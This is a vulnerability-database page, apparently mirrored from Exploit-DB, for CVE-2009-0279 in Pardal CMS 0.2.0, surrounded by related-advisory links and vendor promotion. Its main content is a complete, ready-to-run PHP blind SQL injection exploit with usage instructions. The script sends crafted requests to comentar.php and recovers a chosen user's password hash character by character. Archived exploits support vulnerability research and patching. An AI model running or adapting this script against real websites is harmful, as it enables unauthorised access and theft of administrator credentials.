Lucene search
+L

Pardal CMS 0.2.0 - Blind SQL Injection

🗓️ 22 Jan 2009 00:00:00Reported by darkjokerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 37 Views

Pardal CMS 0.2.0 Blind SQL Injection Exploi

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-0279
22 Jan 200900:00
circl
cve
CVE
CVE-2009-0279
27 Jan 200918:00
cve
cvelist
Cvelist
CVE-2009-0279
27 Jan 200918:00
cvelist
euvd
EUVD
EUVD-2009-0284
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-0279
27 Jan 200918:30
nvd
prion
Prion
Sql injection
27 Jan 200918:30
prion
--+++=============================================================+++--
--+++====== Pardal CMS <= 0.2.0 Blind SQL Injection Exploit ======+++--
--+++=============================================================+++--

<?php

function usage ()
{
    echo "\nPardal CMS <= 0.2.0 Blind SQL Injection Exploit".
         "\n[+] Author  : darkjoker".
         "\n[+] Site    : http://darkjoker.net23.net".
         "\n[+] Download: http://tinyurl.com/csg4vt".
         "\n[+] Usage   : php xpl.php <hostname> <path> <username>".
         "\n[+] Ex.     : php xpl.php localhost /PardalCMS Admin".
         "\n\n";
    exit ();
}


function query ($user, $chr, $pos)
{
    $query = "x' OR ASCII(SUBSTRING((SELECT senha FROM users WHERE login = '{$user}'),{$pos},1))='{$chr}";
    $query = str_replace (" ", "%20", $query);
    $query = str_replace ("'", "%27", $query);
    return $query;
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
    $chr = ord ($chr);
    $fp = fsockopen ($hostname, 80);
    $query = query ($user, $chr, $pos);
    $request = "GET {$path}/comentar.php?id={$query} HTTP/1.1\r\n".
           "Host: {$hostname}\r\n".
           "Connection: Close\r\n\r\n";

    fputs ($fp, $request);
    while (!feof ($fp))
        $reply .= fgets ($fp, 1024);

    fclose ($fp);

    if (preg_match ("/\"#FFFFFF\"> em <\/font>/", $reply))
        return false;
    else
        return true;
}

if ($argc != 4)
    usage ();

$hostname = $argv [1];
$path = $argv [2];
$username = $argv [3];
$key = "abcdef0123456789";
$pos = 1;
$chr = 0;

echo "[+] Password: ";

while ($pos <= 32)
{
    if (exploit ($hostname, $path, $username, $pos, $key [$chr]))
    {
        echo $key [$chr];
        $chr = 0;
        $pos++;
    }
    else
        $chr++;
}

echo "\n\n";

?>

# milw0rm.com [2009-01-22]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Jan 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.01126
37